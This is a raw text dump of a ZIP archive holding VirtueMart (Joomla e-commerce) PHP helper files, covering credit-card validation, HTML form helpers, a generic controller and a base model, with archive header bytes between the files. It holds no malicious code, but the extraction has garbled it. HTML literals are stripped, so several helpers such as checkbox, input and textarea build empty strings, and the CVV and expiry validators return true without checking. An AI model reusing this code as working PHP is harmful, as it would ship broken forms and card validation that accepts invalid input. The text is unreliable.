count($entries); vmInfo($msg. ' found '.$count.' vm1 entries for migration '); $startLimit += $maxItems; if($count<$maxItems){ $continue = false; } } return array($entries,$startLimit,$continue); } } PKsl>\&GHHTcom_virtuemart_update/administrator/components/com_virtuemart/helpers/creditcard.phpnuW+Anumber = self::_strtonum($cardnum); /* if(!$this->detectType($this->number)) { $this->errno = CC_ETYPE; $d['error'] = $this->errno; return false; } */ if (empty($this->number) || !self::mod10($this->number)) { //JError::raiseWarning('', JText::_('COM_VIRTUEMART_CC_ENUMBER')); // $this->errno = CC_ENUMBER; // $d['error'] = $this->errno; return false; } return true; } /* * _strtonum private method * return formated string - only digits */ function _strtonum($string) { $nstr = ""; for ($i = 0; $i < strlen($string); $i++) { if (!is_numeric($string{$i})) continue; $nstr = "$nstr" . $string{$i}; } return $nstr; } /* * mod10 method - Luhn check digit algorithm * return 0 if true and !0 if false */ function mod10($card_number) { $digit_array = array(); $cnt = 0; //Reverse the card number $card_temp = strrev($card_number); //Multiple every other number by 2 then ( even placement ) //Add the digits and place in an array for ($i = 1; $i <= strlen($card_temp) - 1; $i = $i + 2) { //multiply every other digit by 2 $t = substr($card_temp, $i, 1); $t = $t * 2; //if there are more than one digit in the //result of multipling by two ex: 7 * 2 = 14 //then add the two digits together ex: 1 + 4 = 5 if (strlen($t) > 1) { //add the digits together $tmp = 0; //loop through the digits that resulted of //the multiplication by two above and add them //together for ($s = 0; $s < strlen($t); $s++) { $tmp = substr($t, $s, 1) + $tmp; } } else { // result of (* 2) is only one digit long $tmp = $t; } //place the result in an array for later //adding to the odd digits in the credit card number $digit_array [$cnt++] = $tmp; } $tmp = 0; //Add the numbers not doubled earlier ( odd placement ) for ($i = 0; $i <= strlen($card_temp); $i = $i + 2) { $tmp = substr($card_temp, $i, 1) + $tmp; } //Add the earlier doubled and digit-added numbers to the result $result = $tmp + array_sum($digit_array); //Check to make sure that the remainder //of dividing by 10 is 0 by using the modulas //operator return ($result % 10 == 0); } /* * validate_credit_card_cvv * The three- or four-digit number on the back of a credit card (on the front for American Express). * @author Valerie Isaksen */ static function validate_credit_card_cvv($creditcard_type, $cvv, $required = true) { if ($required and empty($cvv)) return false; return true; } /* * validate_credit_card_date * expiration date should be tested * @author Valerie Isaksen */ function validate_credit_card_date($creditcard_type, $month, $year) { return true; } } // pure php no closing tagPKsl>\Pcom_virtuemart_update/administrator/components/com_virtuemart/helpers/index.htmlnuW+APKsl>\,SSNcom_virtuemart_update/administrator/components/com_virtuemart/helpers/html.phpnuW+A array('option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value', 'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text', 'option.text.toHtml' => true)); /** * Converts all special chars to html entities * * @param string $string * @param string $quote_style * @param boolean $only_special_chars Only Convert Some Special Chars ? ( <, >, &, ... ) * @return string */ static function shopMakeHtmlSafe( $string, $quote_style='ENT_QUOTES', $use_entities=false ) { if( defined( $quote_style )) { $quote_style = constant($quote_style); } if( $use_entities ) { $string = @htmlentities( $string, constant($quote_style), self::vmGetCharset() ); } else { $string = @htmlspecialchars( $string, $quote_style, self::vmGetCharset() ); } return $string; } /** * Returns the charset string from the global _ISO constant * * @return string UTF-8 by default * @since 1.0.5 */ static function vmGetCharset() { $iso = explode( '=', @constant('_ISO') ); if( !empty( $iso[1] )) { return $iso[1]; } else { return 'UTF-8'; } } /** * Generate HTML code for a row using VmHTML function * works also with shopfunctions, for example * $html .= VmHTML::row (array('ShopFunctions', 'renderShopperGroupList'), * 'VMCUSTOM_BUYER_GROUP_SHOPPER', $field->shopper_groups, TRUE, 'custom_param['.$row.'][shopper_groups][]', ' '); * * @func string : function to call * @label string : Text Label * @args array : arguments * @return string: HTML code for row table */ static function row($func,$label){ $VmHTML="VmHTML"; if (!is_array($func)) { $func = array($VmHTML, $func); } $passedArgs = func_get_args(); array_shift( $passedArgs );//remove function array_shift( $passedArgs );//remove label $args = array(); foreach ($passedArgs as $k => $v) { $args[] = &$passedArgs[$k]; } $lang =JFactory::getLanguage(); if($lang->hasKey($label.'_TIP')){ $labelHint = vmText::_($label.'_TIP'); $label = ''.vmText::_($label).'' ; } //Fallback else if($lang->hasKey($label.'_EXPLAIN')){ $labelHint = vmText::_($label.'_EXPLAIN'); $label = ''.vmText::_($label).'' ; } else { $label = vmText::_($label); } $html = ' '.$label.' '.call_user_func_array($func, $args).' '; return $html ; } /* simple value display */ static function value( $value ){ $lang =JFactory::getLanguage(); return $lang->hasKey($value) ? vmText::_($value) : $value; } /** * The sense is unclear ! * @deprecated * @param $value * @return mixed */ static function raw( $value ){ return $value; } /** * Generate HTML code for a checkbox * * @param string Name for the checkbox * @param mixed Current value of the checkbox * @param mixed Value to assign when checkbox is checked * @param mixed Value to assign when checkbox is not checked * @return string HTML code for checkbox */ static function checkbox($name, $value, $checkedValue=1, $uncheckedValue=0, $extraAttribs = '', $id = null) { if (!$id) $id=$name ; if ($value == $checkedValue) { $checked = 'checked="checked"'; } else { $checked = ''; } $htmlcode = ''; $htmlcode .= ''; return $htmlcode; } /** * * @author Patrick Kohl * @param array $options( value & text) * @param string $name option name * @param string $defaut defaut value * @param string $key option value * @param string $text option text * @param boolean $zero add a '0' value in the option * return a select list */ public static function select($name, $options, $default = '0',$attrib = "onchange='submit();'",$key ='value' ,$text ='text', $zero=true, $chosenDropDowns=true,$tranlsate=true){ if ($zero==true) { $option = array($key =>"0", $text => vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION')); $options = array_merge(array($option), $options); } if ($chosenDropDowns) { vmJsApi::chosenDropDowns(); $attrib .= ' class="vm-chzn-select"'; } return VmHTML::genericlist($options,$name,$attrib,$key,$text,$default,false,$tranlsate); } /** * Generates an HTML selection list. * @author Joomla 2.5.14 * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the ' . $options['format.eol']; return $html; } /** * Generates the option tags for an HTML select list (with no select tag * surrounding the options). * @author Joomla 2.5.14 * @param array $arr An array of objects, arrays, or values. * @param mixed $optKey If a string, this is the name of the object variable for * the option value. If null, the index of the array of objects is used. If * an array, this is a set of options, as key/value pairs. Valid options are: * -Format options, {@see JHtml::$formatOptions}. * -groups: Boolean. If set, looks for keys with the value * "<optgroup>" and synthesizes groups from them. Deprecated. Defaults * true for backwards compatibility. * -list.select: either the value of one selected option or an array * of selected options. Default: none. * -list.translate: Boolean. If set, text and labels are translated via * JText::_(). Default is false. * -option.id: The property in each option array to use as the * selection id attribute. Defaults to none. * -option.key: The property in each option array to use as the * selection value. Defaults to "value". If set to null, the index of the * option array is used. * -option.label: The property in each option array to use as the * selection label attribute. Defaults to null (none). * -option.text: The property in each option array to use as the * displayed text. Defaults to "text". If set to null, the option array is * assumed to be a list of displayable scalars. * -option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * -option.disable: The property that will hold the disabled state. * Defaults to "disable". * -option.key: The property that will hold the selection value. * Defaults to "value". * -option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string) * @param boolean $translate Translate the option values. * * @return string HTML for the select list * * @since 11.1 */ public static function options($arr, $optKey = 'value', $optText = 'text', $selected = null, $translate = false) { $options = array_merge( JHtml::$formatOptions, self::$_optionDefaults['option'], array('format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false) ); if (is_array($optKey)) { // Set default options and overwrite with anything passed in $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; $options['list.translate'] = $translate; } $html = ''; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']); foreach ($arr as $elementKey => &$element) { $attr = ''; $extra = ''; $label = ''; $id = ''; if (is_array($element)) { $key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']]; $text = $element[$options['option.text']]; if (isset($element[$options['option.attr']])) { $attr = $element[$options['option.attr']]; } if (isset($element[$options['option.id']])) { $id = $element[$options['option.id']]; } if (isset($element[$options['option.label']])) { $label = $element[$options['option.label']]; } if (isset($element[$options['option.disable']]) && $element[$options['option.disable']]) { $extra .= ' disabled="disabled"'; } } elseif (is_object($element)) { $key = $options['option.key'] === null ? $elementKey : $element->$options['option.key']; $text = $element->$options['option.text']; if (isset($element->$options['option.attr'])) { $attr = $element->$options['option.attr']; } if (isset($element->$options['option.id'])) { $id = $element->$options['option.id']; } if (isset($element->$options['option.label'])) { $label = $element->$options['option.label']; } if (isset($element->$options['option.disable']) && $element->$options['option.disable']) { $extra .= ' disabled="disabled"'; } } else { // This is a simple associative array $key = $elementKey; $text = $element; } // The use of options that contain optgroup HTML elements was // somewhat hacked for J1.5. J1.6 introduces the grouplist() method // to handle this better. The old solution is retained through the // "groups" option, which defaults true in J1.6, but should be // deprecated at some point in the future. $key = (string) $key; // if no string after hyphen - take hyphen out $splitText = explode(' - ', $text, 2); $text = $splitText[0]; if (isset($splitText[1])) { $text .= ' - ' . $splitText[1]; } if ($options['list.translate'] && !empty($label)) { $label = vmText::_($label); } if ($options['option.label.toHtml']) { $label = htmlentities($label); } if (is_array($attr)) { $attr = JArrayHelper::toString($attr); } else { $attr = trim($attr); } $extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra; if (is_array($options['list.select'])) { foreach ($options['list.select'] as $val) { $key2 = is_object($val) ? $val->$options['option.key'] : $val; if ($key == $key2) { $extra .= ' selected="selected"'; break; } } } elseif ((string) $key == (string) $options['list.select']) { $extra .= ' selected="selected"'; } if ($options['list.translate']) { $text = vmText::_($text); } // Generate the option, encoding as required $html .= $baseIndent . '' . $options['format.eol']; } return $html; } /** * Prints an HTML dropdown box named $name using $arr to * load the drop down. If $value is in $arr, then $value * will be the selected option in the dropdown. * @author gday * @author soeren * * @param string $name The name of the select element * @param string $value The pre-selected value * @param array $arr The array containing $key and $val * @param int $size The size of the select element * @param string $multiple use "multiple=\"multiple\" to have a multiple choice select list * @param string $extra More attributes when needed * @return string HTML drop-down list */ static function selectList($name, $value, $arrIn, $size=1, $multiple="", $extra="", $data_placeholder='') { $html = ''; if( empty( $arrIn ) ) { $arr = array(); } else { if(!is_array($arrIn)){ $arr=array($arrIn); } else { $arr=$arrIn; } } if (!empty($data_placeholder)) { $data_placeholder='data-placeholder="'.vmText::_($data_placeholder).'"'; } $html = ''; return $html; } /** * Creates a Radio Input List * * @param string $name * @param string $value default value * @param string $arr * @param string $extra * @return string */ static function radioList($name, $value, &$arr, $extra="", $separator='
') { $html = ''; if( empty( $arr ) ) { $arr = array(); } $html = ''; $i = 0; foreach($arr as $key => $val) { $checked = ''; if( is_array( $value )) { if( in_array( $key, $value )) { $checked = 'checked="checked"'; } } else { if(strtolower($value) == strtolower($key) ) { $checked = 'checked="checked"'; } } $html .= '\n"; $html .= '".$separator."\n"; } return $html; } /** * Creates radio List * @param array $radios * @param string $name * @param string $default * @return string */ static function radio( $name, $radios, $default,$key='value',$text='text') { return '
'.JHTML::_('select.radiolist', $radios, $name, '', $key, $text, $default).'
'; } /** * Creating rows with boolean list * * @author Patrick Kohl * @param string $label * @param string $name * @param string $value * */ public static function booleanlist ( $name, $value,$class='class="inputbox"'){ return '
'.JHTML::_( 'select.booleanlist', $name , $class , $value).'
' ; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function input($name,$value,$class='class="inputbox"',$readonly='',$size='37',$maxlength='255',$more=''){ return ''.$more; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function textarea($name,$value,$class='class="inputbox"',$cols='100',$rows="4"){ return ''; } /** * render editor code * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function editor($name,$value,$size='100%',$height='300',$hide = array('pagebreak', 'readmore')){ $editor =JFactory::getEditor(); return $editor->display($name, $value, $size, $height, null, null ,$hide ) ; } /** * renders the hidden input * @author Max Milbers */ public static function inputHidden($values){ $html=''; foreach($values as $k=>$v){ $html .= ''; } return $html; } /** * @author Patrick Kohl * @var $type type of regular Expression to validate * $type can be I integer, F Float, A date, M, time, T text, L link, U url, P phone *@bool $required field is required *@Int $min minimum of char *@Int $max max of char *@var $match original ID field to compare with this such as Email, passsword *@ Return $html class for validate javascript **/ public static function validate($type='',$required=true, $min=null,$max=null,$match=null) { if ($required) $validTxt = 'required'; else $validTxt = 'optional'; if (isset($min)) $validTxt .= ',minSize['.$min.']'; if (isset($max)) $validTxt .= ',maxSize['.$max.']'; static $validateID=0 ; $validateID++; if ($type=='S' ) return 'id="validate'.$validateID.'" class="validate[required,minSize[2],maxSize[255]]"'; $validate = array ( 'I'=>'onlyNumberSp', 'F'=>'number','D'=>'dateTime','A'=>'date','M'=>'time','T'=>'Text','L'=>'link','U'=>'url','P'=>'phone'); if (isset ($validate[$type])) $validTxt .= ',custom['.$validate[$type].']'; $html ='id="validate'.$validateID.'" class="validate['.$validTxt.']"'; return $html ; } }PKsl>\&&Vcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmcontroller.phpnuW+A_cidName = $cidName; $this->registerTask( 'add', 'edit' ); $this->registerTask('apply','save'); //VirtuemartController $this->_cname = strtolower(substr(get_class( $this ), 20)); $this->mainLangKey = JText::_('COM_VIRTUEMART_'.strtoupper($this->_cname)); $this->redirectPath = 'index.php?option=com_virtuemart&view='.$this->_cname; $task = explode ('.',JRequest::getCmd( 'task')); if ($task[0] == 'toggle') { $val = (isset($task[2])) ? $task[2] : NULL; $this->toggle($task[1],$val); } } /** * Typical view method for MVC based architecture * * This function is provide as a default implementation, in most cases * you will need to override it in your own controllers. * * For the virtuemart core, we removed the "Get/Create the model" * * @param boolean $cachable If true, the view output will be cached * @param array $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController A JController object to support chaining. * @since 11.1 */ public function display($cachable = false, $urlparams = false) { $document = JFactory::getDocument(); $viewType = $document->getType(); if(JVM_VERSION==2){ $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath)); } else { $viewName = JRequest::getCmd('view', ''); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->_basePath)); } // Set the layout $view->setLayout($viewLayout); $view->assignRef('document', $document); $conf = JFactory::getConfig(); // Display the view if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1) { $option = JRequest::getCmd('option'); $cache = JFactory::getCache($option, 'view'); if (is_array($urlparams)) { $app = JFactory::getApplication(); $registeredurlparams = $app->get('registeredurlparams'); if (empty($registeredurlparams)) { $registeredurlparams = new stdClass; } foreach ($urlparams as $key => $value) { // Add your safe url parameters with variable type as value {@see JFilterInput::clean()}. $registeredurlparams->$key = $value; } $app->set('registeredurlparams', $registeredurlparams); } $cache->get($view, 'display'); } else { $view->display(); } return $this; } /** * Generic edit task * * @author Max Milbers */ function edit($layout='edit'){ JRequest::setVar('controller', $this->_cname); JRequest::setVar('view', $this->_cname); JRequest::setVar('layout', $layout); // JRequest::setVar('hidemenu', 1); if(empty($view)){ $this->addViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); } $view->setLayout($layout); $this->display(); } /** * Generic save task * * @author Max Milbers * @param post $data sometimes we just want to override the data to process */ function save($data = 0){ JRequest::checkToken() or jexit( 'Invalid Token save' ); if($data===0)$data = JRequest::get('post'); $model = VmModel::getModel($this->_cname); $id = $model->store($data); $errors = $model->getErrors(); if(empty($errors)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_SAVED',$this->mainLangKey); $type = 'save'; } else $type = 'error'; foreach($errors as $error){ $msg = ($error).'
'; } $redir = $this->redirectPath; //vmInfo($msg); if(JRequest::getCmd('task') == 'apply'){ $redir .= '&task=edit&'.$this->_cidName.'[]='.$id; } //else $this->display(); $this->setRedirect($redir, $msg,$type); } /** * Generic remove task * * @author Max Milbers */ function remove(){ JRequest::checkToken() or jexit( 'Invalid Token remove' ); $ids = JRequest::getVar($this->_cidName, JRequest::getVar('cid',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($ids); if(count($ids) < 1) { $msg = JText::_('COM_VIRTUEMART_SELECT_ITEM_TO_DELETE'); $type = 'notice'; } else { $model = VmModel::getModel($this->_cname); $ret = $model->remove($ids); $errors = $model->getErrors(); $msg = JText::sprintf('COM_VIRTUEMART_STRING_DELETED',$this->mainLangKey); if(!empty($errors) or $ret==false) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED',$this->mainLangKey); $type = 'error'; } else $type = 'remove'; foreach($errors as $error){ $msg .= '
'.($error); } } $this->setRedirect($this->redirectPath, $msg,$type); } /** * Generic cancel task * * @author Max Milbers */ public function cancel(){ $msg = JText::sprintf('COM_VIRTUEMART_STRING_CANCELLED',$this->mainLangKey); //'COM_VIRTUEMART_OPERATION_CANCELED' $this->setRedirect($this->redirectPath, $msg,'cancel'); } /** * Handle the toggle task * * @author Max Milbers , Patrick Kohl */ public function toggle($field,$val=null){ JRequest::checkToken() or jexit( 'Invalid Token' ); $model = VmModel::getModel($this->_cname); if (!$model->toggle($field,$val,$this->_cidName)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_TOGGLE_ERROR',$this->mainLangKey); } else{ $msg = JText::sprintf('COM_VIRTUEMART_STRING_TOGGLE_SUCCESS',$this->mainLangKey); } $this->setRedirect( $this->redirectPath, $msg); } /** * Handle the publish task * * @author Jseros, Max Milbers */ public function publish($cidname=0,$table=0,$redirect = 0){ JRequest::checkToken() or jexit( 'Invalid Token' ); $model = VmModel::getModel($this->_cname); if($cidname === 0) $cidname = $this->_cidName; if (!$model->toggle('published', 1, $cidname, $table)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_PUBLISHED_ERROR',$this->mainLangKey); } else{ $msg = JText::sprintf('COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS',$this->mainLangKey); } if($redirect === 0) $redirect = $this->redirectPath; $this->setRedirect( $redirect , $msg); } /** * Handle the publish task * * @author Max Milbers, Jseros */ function unpublish($cidname=0,$table=0,$redirect = 0){ JRequest::checkToken() or jexit( 'Invalid Token' ); $model = VmModel::getModel($this->_cname); if($cidname === 0) $cidname = $this->_cidName; if (!$model->toggle('published', 0, $cidname, $table)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR',$this->mainLangKey); } else{ $msg = JText::sprintf('COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS',$this->mainLangKey); } if($redirect === 0) $redirect = $this->redirectPath; $this->setRedirect( $redirect, $msg); } function orderup() { JRequest::checkToken() or jexit( 'Invalid Token' ); $model = VmModel::getModel($this->_cname); $model->move(-1); $msg = JText::sprintf('COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS',$this->mainLangKey); $this->setRedirect( $this->redirectPath, $msg); } function orderdown() { JRequest::checkToken() or jexit( 'Invalid Token' ); $model = VmModel::getModel($this->_cname); $model->move(1); $msg = JText::sprintf('COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS',$this->mainLangKey); $this->setRedirect( $this->redirectPath, $msg); } function saveorder() { JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( $this->_cidName, JRequest::getVar('cid',array(0)), 'post', 'array' ); $order = JRequest::getVar( 'order', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); JArrayHelper::toInteger($order); $model = VmModel::getModel($this->_cname); if (!$model->saveorder($cid, $order)) { $msg = 'error'; } else { if(JFactory::getApplication()->isAdmin() and VmConfig::showDebug()){ $msg = vmText::sprintf('COM_VIRTUEMART_NEW_ORDERING_SAVEDF',$this->mainLangKey); } else { $msg = vmText::sprintf('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } } $this->setRedirect( $this->redirectPath, $msg); } /** * This function just overwrites the standard joomla function, using our standard class VmModel * for this * @see JController::getModel() */ function getModel($name = '', $prefix = '', $config = array()){ if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); if(empty($name)) $name = false; return VmModel::getModel($name); } }PKsl>\\&PPQcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmmodel.phpnuW+A_cidName = $cidName; // Get the task $task = JRequest::getWord('task',''); if($task!=='add'){ // Get the id or array of ids. $idArray = JRequest::getVar($this->_cidName, 0, '', 'array'); if(empty($idArray[0])) $idArray[0] = 0; $this->setId((int)$idArray[0]); } $this->setToggleName('published'); } static private $_vmmodels = array(); /** * * @author Patrick Kohl * @author Max Milbers */ static function getModel($name=false){ if (!$name){ $name = JRequest::getCmd('view',''); // vmdebug('Get standard model of the view'); } $name = strtolower($name); $className = 'VirtueMartModel'.ucfirst($name); if(empty(self::$_vmmodels[strtolower($className)])){ if( !class_exists($className) ){ $modelPath = JPATH_VM_ADMINISTRATOR.DS."models".DS.$name.".php"; if( file_exists($modelPath) ){ require( $modelPath ); } else{ JError::raiseWarning( 0, 'Model '. $name .' not found.' ); echo 'File for Model '. $name .' not found.'; return false; } } self::$_vmmodels[strtolower($className)] = new $className(); return self::$_vmmodels[strtolower($className)]; } else { return self::$_vmmodels[strtolower($className)]; } } public function setIdName($idName){ $this->_idName = $idName; } public function getIdName(){ return $this->_idName; } public function getId(){ return $this->_id; } /** * Resets the id and data * * @author Max Milbers */ function setId($id){ if(is_array($id) && count($id)!==0) $id = $id[0]; if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; } return $this->_id; } public function setMainTable($maintablename,$maintable=0){ $this->_maintablename = $maintablename; if(empty($maintable)){ $this->_maintable = '#__virtuemart_'.$maintablename; } else { $this->_maintable = $maintable; } $defaultTable = $this->getTable($this->_maintablename); $this->_idName = $defaultTable->getKeyName(); $this->setDefaultValidOrderingFields($defaultTable); $this->_selectedOrdering = $this->_validOrderingFieldName[0]; } function getDefaultOrdering(){ return $this->_selectedOrdering; } function addvalidOrderingFieldName($add){ $this->_validOrderingFieldName = array_merge($this->_validOrderingFieldName,$add); } function removevalidOrderingFieldName($name){ $key=array_search($name, $this->_validOrderingFieldName); if($key!==false){ unset($this->_validOrderingFieldName[$key]) ; } } var $_tablePreFix = ''; /** * * This function sets the valid ordering fields for this model with the default table attributes * @author Max Milbers * @param unknown_type $defaultTable */ function setDefaultValidOrderingFields($defaultTable=null){ if($defaultTable===null){ $defaultTable = $this->getTable($this->_maintablename); } $this->_tablePreFix = $defaultTable->_tablePreFix; $dTableArray = get_object_vars($defaultTable); // Iterate over the object variables to build the query fields and values. foreach ($dTableArray as $k => $v){ // Ignore any internal fields. $posUnderLine = strpos ($k,'_'); if (( $posUnderLine!==false && $posUnderLine === 0) ) { continue; } // $this->_validOrderingFieldName[] = $this->_tablePreFix.$k; $this->_validOrderingFieldName[] = $k; } } function _getOrdering($preTable='') { if(empty($this->_selectedOrdering)) vmTrace('empty _getOrdering'); if(empty($this->_selectedOrderingDir)) vmTrace('empty _selectedOrderingDir'); return ' ORDER BY '.$preTable.$this->_selectedOrdering.' '.$this->_selectedOrderingDir ; } var $_validOrderingFieldName = array(); function checkFilterOrder($toCheck){ if(empty($toCheck)) return $this->_selectedOrdering; //vmdebug('checkFilterOrder',$this->_validOrderingFieldName); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $break = false; vmSetStartTime(); foreach($this->_validOrderingFieldName as $name){ if(!empty($name) and strpos($name,$toCheck)!==FALSE){ $this->_selectedOrdering = $name; $break = true; break; } } if(!$break){ $app = JFactory::getApplication(); $view = JRequest::getWord('view','virtuemart'); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order',$this->_selectedOrdering); } //vmdebug('checkValidOrderingField:'.get_class($this).' programmer choosed invalid ordering '.$toCheck.', use '.$this->_selectedOrdering); } else { $this->_selectedOrdering = $toCheck; } return $this->_selectedOrdering; } var $_validFilterDir = array('ASC','DESC'); function checkFilterDir($toCheck){ $filter_order_Dir = strtoupper($toCheck); if(empty($filter_order_Dir) or !in_array($filter_order_Dir, $this->_validFilterDir)){ // vmdebug('checkFilterDir: programmer choosed invalid ordering direction '.$filter_order_Dir,$this->_validFilterDir); // vmTrace('checkFilterDir'); $filter_order_Dir = $this->_selectedOrderingDir; $view = JRequest::getWord('view','virtuemart'); $app = JFactory::getApplication(); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order_Dir',$filter_order_Dir); } // vmdebug('checkFilterDir '.$filter_order_Dir); $this->_selectedOrderingDir = $filter_order_Dir; return $this->_selectedOrderingDir; } /** * Loads the pagination * * @author Max Milbers */ public function getPagination($perRow = 5) { if(empty($this->_limit) ){ $this->setPaginationLimits(); } $this->_pagination = new VmPagination($this->_total , $this->_limitStart, $this->_limit , $perRow ); // } // vmdebug('$this->pagination $total '.$this->_total,$this->_pagination);vmTrace('getPagination'); return $this->_pagination; } public function setPaginationLimits(){ $app = JFactory::getApplication(); $view = JRequest::getWord('view',$this->_maintablename); $limit = (int)$app->getUserStateFromRequest('com_virtuemart.'.$view.'.limit', 'limit'); if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState('limit', $limit); $this->setState('com_virtuemart.'.$view.'.limit',$limit); $this->_limit = $limit; $limitStart = $app->getUserStateFromRequest('com_virtuemart.'.$view.'.limitstart', 'limitstart', JRequest::getInt('limitstart',0), 'int'); //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil((float)$limitStart/(float)$limit) * $limit; $this->setState('limitstart', $limitStart); $this->setState('com_virtuemart.'.$view.'.limitstart',$limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart,$this->_limit); } /** * Gets the total number of entries *TODO filters and search ar not set * @author Max Milbers * @return int Total number of entries in the database */ public function getTotal() { if (empty($this->_total)) { $query = 'SELECT `'.$this->_db->getEscaped($this->_idName).'` FROM `'.$this->_db->getEscaped($this->_maintable).'`';; $this->_db->setQuery( $query ); if(!$this->_db->query()){ if(empty($this->_maintable)) vmError('Model '.get_class( $this ).' has no maintable set'); $this->_total = 0; } else { $this->_total = $this->_db->getNumRows(); } // $this->_total = $this->_getListCount($query); } return $this->_total; } public function setGetCount($withCount){ $this->_withCount = $withCount; } /** * * exeSortSearchListQuery * * @author Max Milbers * @author Patrick Kohl * @param boolean $object use single result array = 2, assoc. array = 1 or object list = 0 as return value * @param string $select the fields to select * @param string $joinedTables the string of the joined tables or the table * @param string $whereString for the where condition * @param string $groupBy * @param string $orderBy * @param string $filter_order_Dir */ public function exeSortSearchListQuery($object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false){ // vmSetStartTime('exe'); // if(USE_SQL_CALC_FOUND_ROWS){ //and the where conditions $joinedTables .="\n".$whereString."\n".$groupBy."\n".$orderBy.' '.$filter_order_Dir ; // $joinedTables .= $whereString .$groupBy .$orderBy; if($nbrReturnProducts){ $limitStart = 0; $limit = $nbrReturnProducts; $this->_withCount = false; } else if($this->_noLimit){ $this->_withCount = false; $limitStart = 0; $limit = 0; } else { $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; } if($this->_withCount){ $q = 'SELECT SQL_CALC_FOUND_ROWS '.$select.$joinedTables; } else { $q = 'SELECT '.$select.$joinedTables; } if($this->_noLimit or empty($limit)){ // vmdebug('exeSortSearchListQuery '.get_class($this).' no limit'); $this->_db->setQuery($q); } else { $this->_db->setQuery($q,$limitStart,$limit); // vmdebug('exeSortSearchListQuery '.get_class($this).' with limit'); } //vmdebug('exeSortSearchListQuery '.$orderBy .$filter_order_Dir,$q); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } if($err=$this->_db->getErrorMsg()){ vmError('exeSortSearchListQuery '.$err); } //vmdebug('my $limitStart '.$limitStart.' $limit '.$limit.' q ',$q ); if($this->_withCount){ $this->_db->setQuery('SELECT FOUND_ROWS()'); $count = $this->_db->loadResult(); if($count == false){ $count = 0; } $this->_total = $count; if($limitStart>=$count){ if(empty($limit)){ $limit = 1.0; } $limitStart = floor($count/$limit); $this->_db->setQuery($q,$limitStart,$limit); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } } // $this->getPagination(true); } else { $this->_withCount = true; } //print_r( $this->_db->_sql ); // vmdebug('my $list',$list); if(empty($this->ids)){ $errors = $this->_db->getErrorMsg(); if( !empty( $errors)){ vmdebug('exeSortSearchListQuery error in class '.get_class($this).' sql:',$this->_db->getErrorMsg()); } if($object == 2 or $object == 1){ $this->ids = array(); } } // vmTime('exeSortSearchListQuery SQL_CALC_FOUND_ROWS','exe'); return $this->ids; } /** * * @author Max Milbers * */ public function getData(){ if (empty($this->_data)) { $this->_data = $this->getTable($this->_maintablename); $this->_data->load($this->_id); //just an idea if(isset($this->_data->virtuemart_vendor_id) && empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); 